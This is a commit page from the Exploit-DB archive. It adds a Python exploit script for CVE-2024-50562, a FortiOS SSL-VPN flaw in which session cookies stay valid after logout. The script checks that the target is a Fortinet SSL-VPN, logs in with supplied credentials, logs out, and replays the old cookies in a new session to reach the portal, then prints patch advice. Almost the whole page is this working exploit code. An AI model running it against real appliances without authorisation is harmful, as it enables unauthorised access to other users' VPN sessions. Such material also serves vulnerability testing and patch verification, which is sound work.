Skip to content

Commit 36fc0aa

Browse files
author
Exploit-DB
committed
DB: 2025-06-21
4 changes to exploits/shellcodes/ghdb FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse Ingress-NGINX 4.11.0 - Remote Code Execution (RCE) Microsoft Excel LTSC 2024 - Remote Code Execution (RCE)
1 parent 3cfac1e commit 36fc0aa

4 files changed

Lines changed: 639 additions & 0 deletions

File tree

exploits/multiple/remote/52336.py

Lines changed: 312 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,312 @@
1+
#!/usr/bin/env python3
2+
"""
3+
# Exploit Title: FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse
4+
# Date: 2025-06-15
5+
# Exploit Author: Shahid Parvez Hakim (BugB Technologies)
6+
# Vendor Homepage: https://www.fortinet.com
7+
# Software Link: https://www.fortinet.com/products/secure-sd-wan/fortigate
8+
# Version: FortiOS 7.6.0, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.x (all), 6.4.x (all)
9+
# Tested on: FortiOS 7.4.x, 7.2.x
10+
# CVE: CVE-2024-50562
11+
# CVSS: 4.4 (Medium)
12+
# Category: Session Management
13+
# CWE: CWE-613 (Insufficient Session Expiration)
14+
15+
Description:
16+
An insufficient session expiration vulnerability in FortiOS SSL-VPN allows an attacker
17+
to reuse stale session cookies after logout, potentially leading to unauthorized access.
18+
The SVPNTMPCOOKIE remains valid even after the primary SVPNCOOKIE is invalidated during logout.
19+
20+
References:
21+
- https://fortiguard.com/psirt/FG-IR-24-339
22+
- https://nvd.nist.gov/vuln/detail/CVE-2024-50562
23+
24+
Usage:
25+
python3 fortinet_cve_2024_50562.py -t <target> -u <username> -p <password> [options]
26+
27+
Example:
28+
python3 fortinet_cve_2024_50562.py -t 192.168.1.10:443 -u testuser -p testpass
29+
python3 fortinet_cve_2024_50562.py -t 10.0.0.1:4433 -u admin -p password123 --realm users
30+
"""
31+
32+
import argparse
33+
import requests
34+
import urllib3
35+
import re
36+
import sys
37+
from urllib.parse import urlparse
38+
39+
# Disable SSL warnings for testing
40+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
41+
42+
class FortinetExploit:
43+
def __init__(self, target, username, password, realm="", timeout=10, force=False):
44+
self.target = target
45+
self.username = username
46+
self.password = password
47+
self.realm = realm
48+
self.timeout = timeout
49+
self.force = force
50+
self.base_url = f"https://{target}"
51+
self.session = None
52+
53+
def banner(self):
54+
"""Display exploit banner"""
55+
print("=" * 70)
56+
print("CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass")
57+
print("Author: Shahid Parvez Hakim (BugB Technologies)")
58+
print("CVSS: 4.4 (Medium) | FG-IR-24-339")
59+
print("=" * 70)
60+
print(f"Target: {self.target}")
61+
print(f"User: {self.username}")
62+
print("-" * 70)
63+
64+
def validate_target(self):
65+
"""Check if target is reachable and is Fortinet SSL-VPN"""
66+
try:
67+
print("[*] Validating target...")
68+
response = requests.get(f"{self.base_url}/remote/login",
69+
verify=False, timeout=self.timeout)
70+
71+
# More flexible detection for Fortinet SSL-VPN
72+
fortinet_indicators = [
73+
"fortinet", "fortigate", "forticlient",
74+
"sslvpn", "/remote/login", "SVPNCOOKIE",
75+
"logincheck", "hostcheck_install",
76+
"fgt_lang", "realm"
77+
]
78+
79+
response_text = response.text.lower()
80+
detected_indicators = [indicator for indicator in fortinet_indicators
81+
if indicator in response_text]
82+
83+
if detected_indicators:
84+
print(f"[+] Target confirmed as Fortinet SSL-VPN (indicators: {', '.join(detected_indicators[:3])})")
85+
return True
86+
elif response.status_code == 200:
87+
print("[!] Target reachable but Fortinet detection uncertain - proceeding anyway")
88+
return True
89+
else:
90+
print("[-] Target does not appear to be Fortinet SSL-VPN")
91+
return False
92+
93+
except requests.exceptions.RequestException as e:
94+
print(f"[-] Connection failed: {e}")
95+
return False
96+
97+
def attempt_login(self):
98+
"""Attempt to authenticate with provided credentials"""
99+
try:
100+
print("[*] Attempting authentication...")
101+
102+
self.session = requests.Session()
103+
self.session.verify = False
104+
105+
# Get login page first
106+
self.session.get(f"{self.base_url}/remote/login?lang=en", timeout=self.timeout)
107+
108+
# Attempt login
109+
login_data = {
110+
"ajax": "1",
111+
"username": self.username,
112+
"realm": self.realm,
113+
"credential": self.password
114+
}
115+
116+
headers = {"Content-Type": "application/x-www-form-urlencoded"}
117+
118+
response = self.session.post(f"{self.base_url}/remote/logincheck",
119+
data=login_data, headers=headers,
120+
timeout=self.timeout)
121+
122+
# Check if login was successful
123+
if re.search(r"\bret=1\b", response.text) and "/remote/hostcheck_install" in response.text:
124+
print("[+] Authentication successful!")
125+
126+
# Extract and display cookies
127+
cookies = requests.utils.dict_from_cookiejar(response.cookies)
128+
self.display_cookies(cookies, "Login")
129+
130+
return True, cookies
131+
else:
132+
print("[-] Authentication failed!")
133+
print(f"[!] Server response: {response.text[:100]}...")
134+
return False, {}
135+
136+
except requests.exceptions.RequestException as e:
137+
print(f"[-] Login request failed: {e}")
138+
return False, {}
139+
140+
def perform_logout(self):
141+
"""Perform logout and check cookie invalidation"""
142+
try:
143+
print("[*] Performing logout...")
144+
145+
response = self.session.get(f"{self.base_url}/remote/logout", timeout=self.timeout)
146+
cookies_after_logout = requests.utils.dict_from_cookiejar(response.cookies)
147+
148+
print("[+] Logout completed")
149+
self.display_cookies(cookies_after_logout, "Logout")
150+
151+
return cookies_after_logout
152+
153+
except requests.exceptions.RequestException as e:
154+
print(f"[-] Logout request failed: {e}")
155+
return {}
156+
157+
def test_session_reuse(self, original_cookies):
158+
"""Test if old session cookies still work after logout"""
159+
try:
160+
print("[*] Testing session cookie reuse...")
161+
162+
# Create new session to simulate attacker
163+
exploit_session = requests.Session()
164+
exploit_session.verify = False
165+
166+
# Use original login cookies
167+
exploit_session.cookies.update(original_cookies)
168+
169+
# Try to access protected resource
170+
test_url = f"{self.base_url}/sslvpn/portal.html"
171+
response = exploit_session.get(test_url, timeout=self.timeout)
172+
173+
# Check if we're still authenticated
174+
if self.is_authenticated_response(response.text):
175+
print("[!] VULNERABILITY CONFIRMED!")
176+
print("[!] Session cookies remain valid after logout")
177+
print("[!] CVE-2024-50562 affects this system")
178+
return True
179+
else:
180+
print("[+] Session properly invalidated")
181+
print("[+] System appears to be patched")
182+
return False
183+
184+
except requests.exceptions.RequestException as e:
185+
print(f"[-] Session reuse test failed: {e}")
186+
return False
187+
188+
def is_authenticated_response(self, response_body):
189+
"""Check if response indicates authenticated access"""
190+
# If response contains login form elements, user is not authenticated
191+
if re.search(r"/remote/login|name=[\"']username[\"']", response_body, re.I):
192+
return False
193+
return True
194+
195+
def display_cookies(self, cookies, context):
196+
"""Display cookies in a formatted way"""
197+
if cookies:
198+
print(f"[*] Cookies after {context}:")
199+
for name, value in cookies.items():
200+
# Truncate long values for display
201+
display_value = value[:20] + "..." if len(value) > 20 else value
202+
print(f" {name} = {display_value}")
203+
204+
# Highlight important cookies for CVE
205+
if name == "SVPNTMPCOOKIE":
206+
print(f" [!] Found SVPNTMPCOOKIE - Target for CVE-2024-50562")
207+
elif name == "SVPNCOOKIE":
208+
print(f" [*] Found SVPNCOOKIE - Primary session cookie")
209+
else:
210+
print(f"[*] No cookies set after {context}")
211+
212+
def exploit(self):
213+
"""Main exploit routine"""
214+
self.banner()
215+
216+
# Step 1: Validate target (unless forced to skip)
217+
if not self.force:
218+
if not self.validate_target():
219+
print("[!] Use --force to skip target validation and proceed anyway")
220+
return False
221+
else:
222+
print("[*] Skipping target validation (--force enabled)")
223+
224+
# Step 2: Attempt login
225+
login_success, login_cookies = self.attempt_login()
226+
if not login_success:
227+
return False
228+
229+
# Step 3: Perform logout
230+
logout_cookies = self.perform_logout()
231+
232+
# Step 4: Test session reuse
233+
vulnerable = self.test_session_reuse(login_cookies)
234+
235+
# Step 5: Display results
236+
print("\n" + "=" * 70)
237+
print("EXPLOIT RESULTS")
238+
print("=" * 70)
239+
240+
if vulnerable:
241+
print("STATUS: VULNERABLE")
242+
print("CVE-2024-50562: CONFIRMED")
243+
print("SEVERITY: Medium (CVSS 4.4)")
244+
print("\nRECOMMENDATIONS:")
245+
print("- Upgrade to patched FortiOS version")
246+
print("- FortiOS 7.6.x: Upgrade to 7.6.1+")
247+
print("- FortiOS 7.4.x: Upgrade to 7.4.8+")
248+
print("- FortiOS 7.2.x: Upgrade to 7.2.11+")
249+
print("- FortiOS 7.0.x/6.4.x: Migrate to supported version")
250+
else:
251+
print("STATUS: NOT VULNERABLE")
252+
print("CVE-2024-50562: NOT AFFECTED")
253+
print("\nSystem appears to be patched or not vulnerable")
254+
255+
return vulnerable
256+
257+
def parse_target(target_string):
258+
"""Parse target string and extract host:port"""
259+
if ':' not in target_string:
260+
# Default HTTPS port if not specified
261+
return f"{target_string}:443"
262+
return target_string
263+
264+
def main():
265+
parser = argparse.ArgumentParser(
266+
description="CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass Exploit",
267+
formatter_class=argparse.RawDescriptionHelpFormatter,
268+
epilog="""
269+
Examples:
270+
python3 %(prog)s -t 192.168.1.10:443 -u admin -p password
271+
python3 %(prog)s -t 10.0.0.1:4433 -u testuser -p test123 --realm employees
272+
python3 %(prog)s -t vpn.company.com -u user@domain.com -p pass --timeout 15
273+
python3 %(prog)s -t 192.168.1.10:443 -u admin -p password --force
274+
"""
275+
)
276+
277+
parser.add_argument('-t', '--target', required=True,
278+
help='Target IP:PORT (e.g., 192.168.1.10:443)')
279+
parser.add_argument('-u', '--username', required=True,
280+
help='Username for authentication')
281+
parser.add_argument('-p', '--password', required=True,
282+
help='Password for authentication')
283+
parser.add_argument('--realm', default='',
284+
help='Authentication realm (optional)')
285+
parser.add_argument('--timeout', type=int, default=10,
286+
help='Request timeout in seconds (default: 10)')
287+
parser.add_argument('--force', action='store_true',
288+
help='Skip target validation and proceed anyway')
289+
290+
args = parser.parse_args()
291+
292+
# Parse and validate target
293+
target = parse_target(args.target)
294+
295+
try:
296+
# Initialize and run exploit
297+
exploit = FortinetExploit(target, args.username, args.password,
298+
args.realm, args.timeout, args.force)
299+
vulnerable = exploit.exploit()
300+
301+
# Exit with appropriate code
302+
sys.exit(0 if vulnerable else 1)
303+
304+
except KeyboardInterrupt:
305+
print("\n[!] Exploit interrupted by user")
306+
sys.exit(1)
307+
except Exception as e:
308+
print(f"[!] Unexpected error: {e}")
309+
sys.exit(1)
310+
311+
if __name__ == "__main__":
312+
main()

0 commit comments

Comments
 (0)